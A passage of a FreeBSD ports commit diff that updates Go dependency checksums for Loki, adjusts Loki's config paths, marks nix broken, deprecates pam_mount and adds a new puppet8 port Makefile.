265906 +SHA256 (minio-minio-go-v7.0.45_GH0.tar.gz) = 3f9120c5eb61ed61d4b9d5dad325738da649e6a57d7d9463ab98035cd3d789c2 +SIZE (minio-minio-go-v7.0.45_GH0.tar.gz) = 272675 SHA256 (minio-sha256-simd-v1.0.0_GH0.tar.gz) = f992f67a47d16983f9bab99203aaab044618f13ca1de507c33a70a53de8331e0 SIZE (minio-sha256-simd-v1.0.0_GH0.tar.gz) = 49020 SHA256 (mitchellh-copystructure-v1.0.0_GH0.tar.gz) = 0e04d8fe1065459ab234507b9a4b7164b05eda970fee6ffdf0219423c357fda8 SIZE (mitchellh-copystructure-v1.0.0_GH0.tar.gz) = 8903 SHA256 (mitchellh-go-homedir-v1.1.0_GH0.tar.gz) = 646671c73a84a8dfb4a5a76b80c7b63549ffefa906524d45077301bc7da76600 SIZE (mitchellh-go-homedir-v1.1.0_GH0.tar.gz) = 3362 +SHA256 (mitchellh-go-wordwrap-v1.0.1_GH0.tar.gz) = 56dc8d3883c765d9791a3698a55c66935b2978ac60e0e3c7c8799b182dd22bb5 +SIZE (mitchellh-go-wordwrap-v1.0.1_GH0.tar.gz) = 2921 SHA256 (mitchellh-mapstructure-v1.5.0_GH0.tar.gz) = 81106cbac93000812c194b4a2069dd32913ec18819b1e99e8436595ce4939413 SIZE (mitchellh-mapstructure-v1.5.0_GH0.tar.gz) = 30123 SHA256 (mitchellh-reflectwalk-v1.0.1_GH0.tar.gz) = c81ed165d0250541655304973d5379a61e00ef074c471b6a6be2c38b204a2afd SIZE (mitchellh-reflectwalk-v1.0.1_GH0.tar.gz) = 6449 -SHA256 (moby-moby-v20.10.18_GH0.tar.gz) = 9907aaaf39fb1c2c3fd427192e4a63d7adf8ddc9fb0e29c692a6ca10de9c34f6 -SIZE (moby-moby-v20.10.18_GH0.tar.gz) = 11193925 +SHA256 (moby-moby-v20.10.23_GH0.tar.gz) = 61bb3f4f0c935ac9a719adbac69fca0d727b6b5c3eb889571e00b1cc3ff1e368 +SIZE (moby-moby-v20.10.23_GH0.tar.gz) = 11230920 SHA256 (moby-term-3f7ff695adc6_GH0.tar.gz) = 404627ca0b844dbb266e004920481a8eb14fa56983fe71f49bfc06da3cdfb11b SIZE (moby-term-3f7ff695adc6_GH0.tar.gz) = 15168 SHA256 (modern-go-concurrent-bacd9c7ef1dd_GH0.tar.gz) = d673e902118a6ece63198dc7e0961e904d0410f142726df0936ec1a52035a60f SIZE (modern-go-concurrent-bacd9c7ef1dd_GH0.tar.gz) = 7526 SHA256 (modern-go-reflect2-v1.0.2_GH0.tar.gz) = eab313f24c09d512f004d489aeed0d0a485f789abd07e7df411375035174341b SIZE (modern-go-reflect2-v1.0.2_GH0.tar.gz) = 14030 -SHA256 (mongodb-mongo-go-driver-v1.10.2_GH0.tar.gz) = 5c2068ae9fd9fd7f59794396edc0c06a215743bb5cf5fe04d924358b19855630 -SIZE (mongodb-mongo-go-driver-v1.10.2_GH0.tar.gz) = 4620702 +SHA256 (mongodb-mongo-go-driver-v1.11.0_GH0.tar.gz) = 83c9e8244a2c60d170cffe3d80adf2d24958dc05156aad82c821f182d415363b +SIZE (mongodb-mongo-go-driver-v1.11.0_GH0.tar.gz) = 4657028 SHA256 (morikuni-aec-v1.0.0_GH0.tar.gz) = 560235880d23e531fcbf59ab768bdb213ea54d0169452a61ec54187dca393d77 SIZE (morikuni-aec-v1.0.0_GH0.tar.gz) = 55416 +SHA256 (munnerz-goautoneg-a7dc8b61c822_GH0.tar.gz) = 3a455e3bcf8237ecee0385f97223ca821ec2547284e827e90f94a4984801ca1c +SIZE (munnerz-goautoneg-a7dc8b61c822_GH0.tar.gz) = 2810 SHA256 (mwitkow-go-conntrack-2f068394615f_GH0.tar.gz) = 5bb72eaf9a4ffd7d0353fa6944951d244df89d879ac36d4b9860fd159162dd81 SIZE (mwitkow-go-conntrack-2f068394615f_GH0.tar.gz) = 17140 SHA256 (ncw-swift-v1.0.53_GH0.tar.gz) = bf8e19e6fa5b78cfeaa5744e4be7439d45e40a3dd429a7a58397ad0e6e8d9144 @@ -435,12 +469,12 @@ SHA256 (oklog-run-v1.1.0_GH0.tar.gz) = 00c8e2d2071fca7db49027aaaf1e846fa863c4d8a SIZE (oklog-run-v1.1.0_GH0.tar.gz) = 7991 SHA256 (oklog-ulid-v1.3.1_GH0.tar.gz) = 499a6ee77ca473a44ad9f11425a8f87f6c02ff1221b11f24d13bee13ce632640 SIZE (oklog-ulid-v1.3.1_GH0.tar.gz) = 55582 -SHA256 (open-telemetry-opentelemetry-go-contrib-zpages-v0.36.0_GH0.tar.gz) = a0e634e81fdfed25bfbc52c440ef2b2e7e675c001634a49d8ac111ca4875ad44 -SIZE (open-telemetry-opentelemetry-go-contrib-zpages-v0.36.0_GH0.tar.gz) = 579686 -SHA256 (open-telemetry-opentelemetry-go-metric-v0.32.0_GH0.tar.gz) = 6719862b76c8d59991475c09d1cd3afb18d1df99acafde256c03b6c7c8ef6bc0 -SIZE (open-telemetry-opentelemetry-go-metric-v0.32.0_GH0.tar.gz) = 964529 -SHA256 (open-telemetry-opentelemetry-go-v1.10.0_GH0.tar.gz) = bf8e01279e5e0eb5cf2474c3424142ea886c53f5db3a419412ebd2ead32ebe68 -SIZE (open-telemetry-opentelemetry-go-v1.10.0_GH0.tar.gz) = 1003077 +SHA256 (open-telemetry-opentelemetry-go-contrib-zpages-v0.37.0_GH0.tar.gz) = 894f475d099cd1f396fdebafba2e14b952e4e644b57581d1b0679435dcf6021f +SIZE (open-telemetry-opentelemetry-go-contrib-zpages-v0.37.0_GH0.tar.gz) = 555592 +SHA256 (open-telemetry-opentelemetry-go-metric-v0.34.0_GH0.tar.gz) = 50c404af7564e85216802a0f1d385813405d2a9489f513f4321c6512f2b9e36e +SIZE (open-telemetry-opentelemetry-go-metric-v0.34.0_GH0.tar.gz) = 994435 +SHA256 (open-telemetry-opentelemetry-go-v1.11.2_GH0.tar.gz) = 9adc4cafcd89d630ecbfaa3df5f0901c6c435e03a4633332ef453f961e9f85e4 +SIZE (open-telemetry-opentelemetry-go-v1.11.2_GH0.tar.gz) = 994416 SHA256 (opencontainers-go-digest-v1.0.0_GH0.tar.gz) = 1e74706d265c92f62793af741e322163f3c08afa66f5a7926c9b9ccb44fed230 SIZE (opencontainers-go-digest-v1.0.0_GH0.tar.gz) = 24456 SHA256 (opencontainers-image-spec-v1.0.2_GH0.tar.gz) = 432211c0a0c6663b48434f0a5655404b7ccbff3aa81c60c8649d591880b360c0 @@ -451,38 +485,38 @@ SHA256 (opentracing-contrib-go-stdlib-v1.0.0_GH0.tar.gz) = 9b9f3acf86ffe123b4c67 SIZE (opentracing-contrib-go-stdlib-v1.0.0_GH0.tar.gz) = 15471 SHA256 (opentracing-opentracing-go-v1.2.0_GH0.tar.gz) = cb32b383422a9aae11d260657d52a3789bd799802881b9ced3ee82c370be6f76 SIZE (opentracing-opentracing-go-v1.2.0_GH0.tar.gz) = 35914 -SHA256 (owen-d-gomemcache-ce4268ea75ae_GH0.tar.gz) = d62106466fe86dd7d2d6cd66e601448014ca7305e52f369dd96385fbf1f48daf -SIZE (owen-d-gomemcache-ce4268ea75ae_GH0.tar.gz) = 13472 -SHA256 (pierrec-lz4-v2.6.1_GH0.tar.gz) = cfc8577ba434eaaf0ba05b5e488aa70d23386beb8d8f978ac2cae62b218df5ff -SIZE (pierrec-lz4-v2.6.1_GH0.tar.gz) = 40117111 -SHA256 (pierrec-lz4-v4.1.12_GH0.tar.gz) = a46d7de47932777228eff2c6d6396e5120e914fadd829ee26fe03c1f091ca6ef -SIZE (pierrec-lz4-v4.1.12_GH0.tar.gz) = 40905022 +SHA256 (oschwald-geoip2-golang-v1.8.0_GH0.tar.gz) = f7dbd0119304bef0a63bed72b8c75240ba2930c4f8e2f910b9a27593e1855b4a +SIZE (oschwald-geoip2-golang-v1.8.0_GH0.tar.gz) = 12394 +SHA256 (oschwald-maxminddb-golang-v1.10.0_GH0.tar.gz) = c6dd59d9f6e7fbb7df6a7c552e5137ae08445a30a0dd472a61950f0e24b461bc +SIZE (oschwald-maxminddb-golang-v1.10.0_GH0.tar.gz) = 28656 +SHA256 (pierrec-lz4-v4.1.17_GH0.tar.gz) = 2b8e1b98d4b2f859e27760e9018e9e57396764711f4665ebf0e7a0a9c088e7c2 +SIZE (pierrec-lz4-v4.1.17_GH0.tar.gz) = 40904356 +SHA256 (pkg-browser-681adbf594b8_GH0.tar.gz) = c6669735da28236302b73f147708ab49cc47c5d5bc9ec54bb3b9d96e2b61b9d4 +SIZE (pkg-browser-681adbf594b8_GH0.tar.gz) = 3677 SHA256 (pkg-errors-v0.9.1_GH0.tar.gz) = 56bfd893023daa498508bfe161de1be83299fcf15376035e7df79cbd7d6fa608 SIZE (pkg-errors-v0.9.1_GH0.tar.gz) = 13415 SHA256 (pmezard-go-difflib-5d4384ee4fb2_GH0.tar.gz) = 8574a5cbc435057352a17ff9e6ad40190f3b9d623cd9ab0cdfa6c1d8f0bea0b2 SIZE (pmezard-go-difflib-5d4384ee4fb2_GH0.tar.gz) = 11395 -SHA256 (prometheus-alertmanager-v0.24.0_GH0.tar.gz) = 1bcecf04c21ee775799b9e736de9fca8fccbf5ef50ef22d9e8abe42d5a3f8082 -SIZE (prometheus-alertmanager-v0.24.0_GH0.tar.gz) = 2135257 -SHA256 (prometheus-client_golang-v1.13.0_GH0.tar.gz) = 75a870f90e9e30859f3243643c91a6854666c170cb1ac42c2d23c6958be12916 -SIZE (prometheus-client_golang-v1.13.0_GH0.tar.gz) = 218782 -SHA256 (prometheus-client_model-v0.2.0_GH0.tar.gz) = 4ab1be9cdfa702d7f49beeb09a256bcc6a2aad55e8a0a37e7732a46934264e12 -SIZE (prometheus-client_model-v0.2.0_GH0.tar.gz) = 10986 +SHA256 (prometheus-alertmanager-v0.25.0_GH0.tar.gz) = 5e676749d4642709a678f90d3609e6c8fd4b36b30b9d763db323b82d18a82603 +SIZE (prometheus-alertmanager-v0.25.0_GH0.tar.gz) = 2167761 +SHA256 (prometheus-client_golang-v1.14.0_GH0.tar.gz) = e774de79b48fcaf27a5b6bbeb6da0e814fee33c5050550625ef9b33f77835049 +SIZE (prometheus-client_golang-v1.14.0_GH0.tar.gz) = 236318 +SHA256 (prometheus-client_model-v0.3.0_GH0.tar.gz) = c71dc6402fe2414dec82c48173fe8d5aa9fc7c43af2f1f1f48d05c1652b965b9 +SIZE (prometheus-client_model-v0.3.0_GH0.tar.gz) = 14941 SHA256 (prometheus-common-v0.1.0_GH0.tar.gz) = 5c08a6066883c7043a5cd27a074e763b5de110f65c1ea6ffc8c9360038bb8dd9 SIZE (prometheus-common-v0.1.0_GH0.tar.gz) = 87363 -SHA256 (prometheus-common-v0.37.0_GH0.tar.gz) = 0ad5a62cb421952d92c97645d2aba8987d2a0de44c9c1fff607c016dca87b768 -SIZE (prometheus-common-v0.37.0_GH0.tar.gz) = 148934 -SHA256 (prometheus-exporter-toolkit-2434b08435da_GH0.tar.gz) = c884f3b4a8ac8ce889fbaa8d07ffc7113d3a1bb720ea4e127915ab86a9f0e366 -SIZE (prometheus-exporter-toolkit-2434b08435da_GH0.tar.gz) = 52651 -SHA256 (prometheus-procfs-v0.8.0_GH0.tar.gz) = bb99fc8ee03c40374bd2f78b7907f1353bd57bd34fd080a9664d99983f24aeed -SIZE (prometheus-procfs-v0.8.0_GH0.tar.gz) = 194809 -SHA256 (prometheus-prometheus-v0.39.1_GH0.tar.gz) = 0d76037a29a786c42515ede1eb617dbac4dbb9f0ad3835ecb542ac2ef030be17 -SIZE (prometheus-prometheus-v0.39.1_GH0.tar.gz) = 6045690 +SHA256 (prometheus-common-v0.39.0_GH0.tar.gz) = 328d420f94d8622b2570d67a54c6e6fe7c6731c9922fbd1151ce602b51e35ff9 +SIZE (prometheus-common-v0.39.0_GH0.tar.gz) = 154053 +SHA256 (prometheus-exporter-toolkit-v0.8.2_GH0.tar.gz) = f5b32491fc9daca575c4989f6ab2f347ded21d1ca3994503128b97a0211517fd +SIZE (prometheus-exporter-toolkit-v0.8.2_GH0.tar.gz) = 62245 +SHA256 (prometheus-procfs-v0.9.0_GH0.tar.gz) = 58e339aeb758e502cea6231f82add4924778b0df4544a918786fcf54de20fa95 +SIZE (prometheus-procfs-v0.9.0_GH0.tar.gz) = 220383 +SHA256 (prometheus-prometheus-v0.42.0_GH0.tar.gz) = 9a3502558e231991c3cabd6f18b3d768a7c586ff6de20b77dd7c7c2ef0fb629c +SIZE (prometheus-prometheus-v0.42.0_GH0.tar.gz) = 6215884 SHA256 (protocolbuffers-protobuf-go-v1.28.1_GH0.tar.gz) = df0b3dceeff0e1b6d029e60f076edd0d852cb8f3c2fe4fe3fe40164f16ec9b6b SIZE (protocolbuffers-protobuf-go-v1.28.1_GH0.tar.gz) = 1280756 SHA256 (rcrowley-go-metrics-cf1acfcdf475_GH0.tar.gz) = e15251850bd93b7e01a191d165a06027f7d8e9022e163c1b3a7cb58794de5d0c SIZE (rcrowley-go-metrics-cf1acfcdf475_GH0.tar.gz) = 37581 -SHA256 (rogpeppe-go-internal-v1.9.0_GH0.tar.gz) = a8223943815523c3e49ac1731c323fd7b949b74ecfc151e8201064ab351a6f42 -SIZE (rogpeppe-go-internal-v1.9.0_GH0.tar.gz) = 133671 SHA256 (rs-xid-v1.4.0_GH0.tar.gz) = e3fd89f7cbbc8bf8268235b353e9aa026c2aed741bb3a6d38ec34abd60883f01 SIZE (rs-xid-v1.4.0_GH0.tar.gz) = 10994 SHA256 (rsc-binaryregexp-v0.2.0_GH0.tar.gz) = e0c7044306fc811068d950c67bc74ca8c8542444cca05947c1d19f4f9e6c1206 @@ -499,28 +533,24 @@ SHA256 (shurcooL-httpfs-8d4bc4ba7749_GH0.tar.gz) = 761fc18152b6998a40b6aa8169fa1 SIZE (shurcooL-httpfs-8d4bc4ba7749_GH0.tar.gz) = 8713 SHA256 (shurcooL-vfsgen-0d455de96546_GH0.tar.gz) = e54c6fad553f915401861a2c687c53f2b44c8ad9a209ceac174b85be75e4669f SIZE (shurcooL-vfsgen-0d455de96546_GH0.tar.gz) = 13648 -SHA256 (sirupsen-logrus-v1.8.1_GH0.tar.gz) = e9492c08ac8f202b438ccfb992bf81b7860739cf8f2266958e0c574c7abfdd74 -SIZE (sirupsen-logrus-v1.8.1_GH0.tar.gz) = 47161 -SHA256 (sony-gobreaker-v0.4.1_GH0.tar.gz) = 8de92be4bd7358db3cc89a8ddc80fcdc2d05619dc0871fa2824c753cb0e80163 -SIZE (sony-gobreaker-v0.4.1_GH0.tar.gz) = 6842 +SHA256 (sirupsen-logrus-v1.9.0_GH0.tar.gz) = 12446ed9eb96573c2aae4df2db81900a65bfd21d2ce92efde7201614e42134f7 +SIZE (sirupsen-logrus-v1.9.0_GH0.tar.gz) = 49098 +SHA256 (sony-gobreaker-v0.5.0_GH0.tar.gz) = ebac84c964a7d73866827529e908a1d772bfce12e5d424c7289c738869d3f901 +SIZE (sony-gobreaker-v0.5.0_GH0.tar.gz) = 7274 SHA256 (spaolacci-murmur3-v1.1.0_GH0.tar.gz) = 73e99fdaadf177427cefb2aff93e4c35d8b1fcf20a4eac6feab73b5d55a9d243 SIZE (spaolacci-murmur3-v1.1.0_GH0.tar.gz) = 7391 -SHA256 (spf13-afero-v1.9.2_GH0.tar.gz) = b13371718205336ca1a9a2709b863fb2a896decb8669e025e76820535af261f3 -SIZE (spf13-afero-v1.9.2_GH0.tar.gz) = 93294 +SHA256 (spf13-afero-v1.9.3_GH0.tar.gz) = 3674636a77f5c7c50de561e2b0e9237b3c7fee902ee66cea4adfb5a83da44891 +SIZE (spf13-afero-v1.9.3_GH0.tar.gz) = 93759 SHA256 (spf13-cast-v1.3.1_GH0.tar.gz) = 4fa8d06903b490ae6f1316e55c5446d5648eea2b450671ebc54d4bbe79bc46b1 SIZE (spf13-cast-v1.3.1_GH0.tar.gz) = 11102 SHA256 (spf13-pflag-v1.0.5_GH0.tar.gz) = 9a2cae1f8e8ab0d2cc8ebe468e871af28d9ac0962cf0520999e3ba85f0c7b808 SIZE (spf13-pflag-v1.0.5_GH0.tar.gz) = 50796 -SHA256 (stretchr-objx-v0.4.0_GH0.tar.gz) = 279d6c84b12f4d5d32bddc4cf503caa87169d0b62bd5daf81a426b4a87f5f72c -SIZE (stretchr-objx-v0.4.0_GH0.tar.gz) = 163096 -SHA256 (stretchr-testify-v1.8.0_GH0.tar.gz) = c31f0bc88114cc11a3d1f2e837d2c0aa7b4cd28c7b81e1946d47c158ba3e6841 -SIZE (stretchr-testify-v1.8.0_GH0.tar.gz) = 97595 -SHA256 (thanos-io-objstore-ce338803bc1e_GH0.tar.gz) = fc7103fa323f41cd2c4889f7fd2111f4dc6fc2ab1dfab10980eac59828feb1ec -SIZE (thanos-io-objstore-ce338803bc1e_GH0.tar.gz) = 209764 -SHA256 (thanos-io-thanos-c5505f5eaa7d_GH0.tar.gz) = 3bc82d334289619aad63cbe29bf085ea2f467a759a480c665e6bdf4f72d6c885 -SIZE (thanos-io-thanos-c5505f5eaa7d_GH0.tar.gz) = 15135118 -SHA256 (thanos-io-thanos-v0.28.0_GH0.tar.gz) = 095466b601fbe5c0323beb4b8d93970d6bcb8b2f9607cd5da9514c2d4207b072 -SIZE (thanos-io-thanos-v0.28.0_GH0.tar.gz) = 25687061 +SHA256 (stretchr-objx-v0.5.0_GH0.tar.gz) = 751d86bfc628ac94df05749de3ecf09cb63310ada3d384f50b6a30f0f161bd42 +SIZE (stretchr-objx-v0.5.0_GH0.tar.gz) = 165516 +SHA256 (stretchr-testify-v1.8.1_GH0.tar.gz) = 6749fede6c26ae66b7e7500136dbe56913b4e0679099b6c1154d2210a9a1ec00 +SIZE (stretchr-testify-v1.8.1_GH0.tar.gz) = 97670 +SHA256 (thanos-io-objstore-11ffbc490204_GH0.tar.gz) = ff4e521a1818e7b36cbd9ca15c3b0654054035b25f623c95d867688abfb74f33 +SIZE (thanos-io-objstore-11ffbc490204_GH0.tar.gz) = 215318 SHA256 (tonistiigi-fifo-a9fb20d87448_GH0.tar.gz) = 4177fc3b6ca380bc91164ede21cec227372442c3fc01ccb64f7e617eeadae2aa SIZE (tonistiigi-fifo-a9fb20d87448_GH0.tar.gz) = 10405 SHA256 (uber-go-atomic-v1.10.0_GH0.tar.gz) = 09d7d71c0686e91c5b6f4773e00a6515f2c0b3e52c137fc53269cae4bf2d582c @@ -537,8 +567,8 @@ SHA256 (uber-jaeger-lib-v2.4.1_GH0.tar.gz) = c178bcad325857dba29551c16f40707701a SIZE (uber-jaeger-lib-v2.4.1_GH0.tar.gz) = 38010 SHA256 (ugorji-go-v1.1.7_GH0.tar.gz) = a696a597d24c4743e125a00f771778a3cc8701c8bd9c3e31345524f61b560259 SIZE (ugorji-go-v1.1.7_GH0.tar.gz) = 293690 -SHA256 (weaveworks-common-da3fde973eec_GH0.tar.gz) = 38804b1f29cdb6020cf738c7e566b6913e58c42935d7171256bb23d3082f8516 -SIZE (weaveworks-common-da3fde973eec_GH0.tar.gz) = 161265 +SHA256 (weaveworks-common-7c2720a9024d_GH0.tar.gz) = f50aed7e43e0065ac616dc6dfae01dfce55b177d7dc79f4e4d8dcb1d080bdeea +SIZE (weaveworks-common-7c2720a9024d_GH0.tar.gz) = 169915 SHA256 (weaveworks-promrus-v1.2.0_GH0.tar.gz) = c64ca5530182a9143bdde490f82301b3e1c518aa6db82b86d18be2aa736dd152 SIZE (weaveworks-promrus-v1.2.0_GH0.tar.gz) = 2860315 SHA256 (willf-bitset-v1.1.11_GH0.tar.gz) = 380337f3a62b8d579a3afe936d2fc7583e6447897dbb76aa2f1b221e1ef1f861 @@ -547,9 +577,9 @@ SHA256 (willf-bloom-v2.0.3_GH0.tar.gz) = 7fce9eff9ed5d0eff13f07ee3eb37fe34a26208 SIZE (willf-bloom-v2.0.3_GH0.tar.gz) = 10628 SHA256 (xdg-go-pbkdf2-v1.0.0_GH0.tar.gz) = 2eec55146447215eb58190e04c546c93cad7f369ac9b5aacd9dc11330d756757 SIZE (xdg-go-pbkdf2-v1.0.0_GH0.tar.gz) = 7758 -SHA256 (xdg-go-scram-v1.1.1_GH0.tar.gz) = ead1bc7c262e7258c9e4c8fb05507e90f17a3bccfc289f6b2f81696329a22142 -SIZE (xdg-go-scram-v1.1.1_GH0.tar.gz) = 17555 -SHA256 (xdg-go-stringprep-v1.0.3_GH0.tar.gz) = 274337fc163cc1d2c30a85de51bd874c0caadd954a3e40f0de65eff883f3629d -SIZE (xdg-go-stringprep-v1.0.3_GH0.tar.gz) = 30127 -SHA256 (yuin-gopher-lua-f4c35e4016d9_GH0.tar.gz) = 4694620cb5ae735933bdd5bb7921de0daa0ed930c0e877cb8f2049d9fbeca16b -SIZE (yuin-gopher-lua-f4c35e4016d9_GH0.tar.gz) = 162941 +SHA256 (xdg-go-scram-v1.1.2_GH0.tar.gz) = 66e8e73966d87b7266957dbe421313b335c455907a36b0115ea81bdf7d1c9d19 +SIZE (xdg-go-scram-v1.1.2_GH0.tar.gz) = 19334 +SHA256 (xdg-go-stringprep-v1.0.4_GH0.tar.gz) = dc2abbf4f868d71e035d96986bc5c25921046d0e34c7675b6c1d555589611cf0 +SIZE (xdg-go-stringprep-v1.0.4_GH0.tar.gz) = 31008 +SHA256 (yuin-gopher-lua-658193537a64_GH0.tar.gz) = ef619d7bcf584ae626eb6cb539eb34a611e0c132d172fe90e99596dc4890ab89 +SIZE (yuin-gopher-lua-658193537a64_GH0.tar.gz) = 164827 diff --git a/sysutils/loki/files/patch-cmd-loki-loki-local-config.yaml b/sysutils/loki/files/patch-cmd-loki-loki-local-config.yaml index fa9f6585eee..4610916b8ea 100644 --- a/sysutils/loki/files/patch-cmd-loki-loki-local-config.yaml +++ b/sysutils/loki/files/patch-cmd-loki-loki-local-config.yaml @@ -1,9 +1,9 @@ ---- cmd/loki/loki-local-config.yaml.orig 2021-05-20 15:32:34 UTC -+++ cmd/loki/loki-local-config.yaml -@@ -5,11 +5,11 @@ - grpc_listen_port: 9096 +--- cmd/loki/loki-local-config.yaml.orig 2023-04-29 22:15:59.584026000 +0000 ++++ cmd/loki/loki-local-config.yaml 2023-04-29 22:16:24.126165000 +0000 +@@ -6,11 +6,11 @@ common: + instance_addr: 127.0.0.1 - path_prefix: /tmp/loki + path_prefix: /var/db/loki storage: @@ -14,4 +14,4 @@ + rules_directory: /var/db/loki/rules replication_factor: 1 ring: - instance_addr: 127.0.0.1 + kvstore: diff --git a/sysutils/nix/Makefile b/sysutils/nix/Makefile index b3c928fdf2a..6b576abd294 100644 --- a/sysutils/nix/Makefile +++ b/sysutils/nix/Makefile @@ -12,6 +12,8 @@ WWW= https://nixos.org/nix/ LICENSE= LGPL21 LICENSE_FILE= ${WRKSRC}/COPYING +BROKEN= undefined symbol: Aws::Crt::ByteCursorFromArray + BUILD_DEPENDS= ${LOCALBASE}/share/aclocal/ax_cxx_compile_stdcxx.m4:devel/autoconf-archive \ bash:shells/bash \ docbook-xsl-ns>=0:textproc/docbook-xsl-ns \ diff --git a/sysutils/pam_mount/Makefile b/sysutils/pam_mount/Makefile index b6a967f48b9..d6f463ee54f 100644 --- a/sysutils/pam_mount/Makefile +++ b/sysutils/pam_mount/Makefile @@ -11,6 +11,9 @@ WWW= http://pam-mount.sourceforge.net/ LICENSE= LGPL21 GPLv2 LICENSE_COMB= multi +DEPRECATED= Requires upstream EOL OpenSSL 1.0.X and linux only libmount which is not available for FreeBSD +EXPIRATION_DATE= 2023-05-31 + LIB_DEPENDS= libHX.so:lang/libhx USES= gnome libtool perl5 pkgconfig ssl tar:xz diff --git a/sysutils/puppet6/Makefile b/sysutils/puppet6/Makefile index 15a0a0db16e..c16cebbed1f 100644 --- a/sysutils/puppet6/Makefile +++ b/sysutils/puppet6/Makefile @@ -34,7 +34,7 @@ USES= cpe ruby USE_GITHUB= yes GH_ACCOUNT= puppetlabs -CONFLICTS_INSTALL= puppet7 +CONFLICTS_INSTALL= puppet[0-9] PLIST_SUB= PORTVERSION="${PORTVERSION}" NO_ARCH= yes NO_BUILD= yes diff --git a/sysutils/puppet8/Makefile b/sysutils/puppet8/Makefile new file mode 100644 index 00000000000..7dac8ea98b9 --- /dev/null +++ b/sysutils/puppet8/Makefile @@ -0,0 +1,131 @@ +PORTNAME= puppet +PORTVERSION= 8.0.1 +CATEGORIES= sysutils +MASTER_SITES= https://forge.puppet.com/v3/files/:forge +PKGNAMESUFFIX= 8 + +MAINTAINER= puppet@FreeBSD.org +COMMENT= Configuration management framework written in Ruby +WWW= https://puppet.com/docs/puppet/latest/puppet_index.html + +LICENSE= APACHE20 +LICENSE_FILE= ${WRKSRC}/LICENSE + +BROKEN_RUBY27= yes +BROKEN_RUBY30= yes + +RUN_DEPENDS= rubygem-concurrent-ruby11>1.0:devel/rubygem-concurrent-ruby11 \ + rubygem-deep_merge>1.0:devel/rubygem-deep_merge \ + rubygem-facter>=4.0:sysutils/rubygem-facter \ + rubygem-fast_gettext>=2.1:devel/rubygem-fast_gettext \ + rubygem-locale>=2.1:devel/rubygem-locale \ + rubygem-multi_json>=1.10:devel/rubygem-multi_json \ + rubygem-puppet-resource_api>=1.5:devel/rubygem-puppet-resource_api \ + rubygem-ruby-augeas>=0:textproc/rubygem-ruby-augeas \ + rubygem-scanf>=1:devel/rubygem-scanf \ + rubygem-semantic_puppet>=1:devel/rubygem-semantic_puppet + +USES= cpe ruby +USE_GITHUB= yes +GH_ACCOUNT= puppetlabs + +CONFLICTS_INSTALL= puppet[0-9] +PLIST_SUB= PORTVERSION="${PORTVERSION}" +NO_ARCH= yes +NO_BUILD= yes +USE_RC_SUBR= puppet +PORTDOCS= LICENSE README.md +PORTEXAMPLES= * +USERS= puppet +GROUPS= puppet +SUB_FILES+= pkg-message +SUB_LIST= RUBY=${RUBY} + +OPTIONS_DEFINE= DOCS EXAMPLES + +# Get versions from +# https://github.com/puppetlabs/puppet-agent/tree/main/configs/components +# for f in configs/components/module-puppetlabs-*.json; do echo ${${f#*/module-puppetlabs-}%.json}=${${$(jq .ref $f)#*/v}%\"}; done +FORGE_MODULES= augeas_core=1.3.0 \ + cron_core=1.2.0 \ + host_core=1.2.0 \ + mount_core=1.2.0 \ + scheduled_task=3.1.1 \ + selinux_core=1.3.0 \ + sshkeys_core=2.4.0 \ + yumrepo_core=1.2.0 \ + zfs_core=1.4.0 \ + zone_core=1.1.0 + +.for module in ${FORGE_MODULES} +DISTFILES+= puppetlabs-${module:C/=.*//}-${module:C/.*=//}.tar.gz:forge +.endfor + +post-patch: + @${REINPLACE_CMD} -e "s|/etc/puppetlabs/puppet|${ETCDIR}|" \ + ${WRKSRC}/install.rb \ + ${WRKSRC}/lib/puppet/reference/configuration.rb \ + ${WRKSRC}/lib/puppet/util/run_mode.rb + @${REINPLACE_CMD} -e "s|/etc/puppetlabs/code|${ETCDIR}|" \ + ${WRKSRC}/install.rb \ + ${WRKSRC}/lib/puppet/reference/configuration.rb \ + ${WRKSRC}/lib/puppet/util/run_mode.rb + @${REINPLACE_CMD} -e "s|/opt/puppetlabs/puppet/cache|/var/puppet|" \ + ${WRKSRC}/install.rb \ + ${WRKSRC}/lib/puppet/reference/configuration.rb \ + ${WRKSRC}/lib/puppet/util/run_mode.rb + @${REINPLACE_CMD} -e "s|/var/run/puppetlabs|/var/run/puppet|" \ + ${WRKSRC}/install.rb \ + ${WRKSRC}/lib/puppet/util/run_mode.rb + @${REINPLACE_CMD} -e "s|/var/log/puppetlabs/puppet|/var/log/puppet|" \ + ${WRKSRC}/install.rb \ + ${WRKSRC}/lib/puppet/util/run_mode.rb + @${REINPLACE_CMD} -e "s|/opt/puppetlabs/puppet/public|/var/puppet/state|" \ + ${WRKSRC}/install.rb \ + ${WRKSRC}/lib/puppet/util/run_mode.rb + @${REINPLACE_CMD} -e "s|/opt/puppetlabs/puppet/modules|${ETCDIR}/modules|" \ + -e "s|/etc/puppetlabs/puppetserver/ca|/var/puppetserver/ca|" \ + -e "s|/opt/puppetlabs/puppet/vendor_modules|${ETCDIR}/vendor_modules|" \ + ${WRKSRC}/lib/puppet/defaults.rb + @${REINPLACE_CMD} -e "s|/opt/puppetlabs/puppet/bin/gem|${LOCALBASE}/bin/gem|" \ + ${WRKSRC}/lib/puppet/provider/package/puppet_gem.rb + @${REINPLACE_CMD} -e "s|\$$confdir/ssl|/var/puppet/ssl|" \ + ${WRKSRC}/lib/puppet/defaults.rb + @${REINPLACE_CMD} -e "s|\.\./\.\./\.\./locales|../locales|" \ + ${WRKSRC}/lib/puppet/gettext/config.rb + +do-install: + @cd ${WRKSRC} && ${SETENV} PREFIX=${PREFIX} LC_ALL=C.UTF-8 ${RUBY} ${WRKSRC}/install.rb --no-configs --destdir=${STAGEDIR} \ + --localedir=${RUBY_SITELIBDIR}/puppet/locales --publicdir=/var/puppet/state/ + +post-install: + ${MKDIR} ${STAGEDIR}${ETCDIR}/manifests + ${MKDIR} ${STAGEDIR}${ETCDIR}/modules + ${MKDIR} ${STAGEDIR}${ETCDIR}/vendor_modules +.for module in ${FORGE_MODULES} + (cd ${WRKDIR}/puppetlabs-${module:C/=.*//}-${module:C/.*=//} && ${COPYTREE_SHARE} . ${STAGEDIR}${ETCDIR}/vendor_modules/${module:C/=.*//}) +.endfor + ${MKDIR} ${STAGEDIR}/var/puppet + ${SETENV} LC_ALL=C.UTF-8 ${RUBY} -I ${STAGEDIR}/${RUBY_SITELIBDIR} ${STAGEDIR}${PREFIX}/bin/puppet agent --genconfig \ + --confdir=${ETCDIR} \ + --rundir=/var/run/puppet \ + --vardir=/var/puppet \ + --logdir=/var/log/puppet \ + --codedir=${ETCDIR} \ + > ${STAGEDIR}${ETCDIR}/puppet.conf-dist + 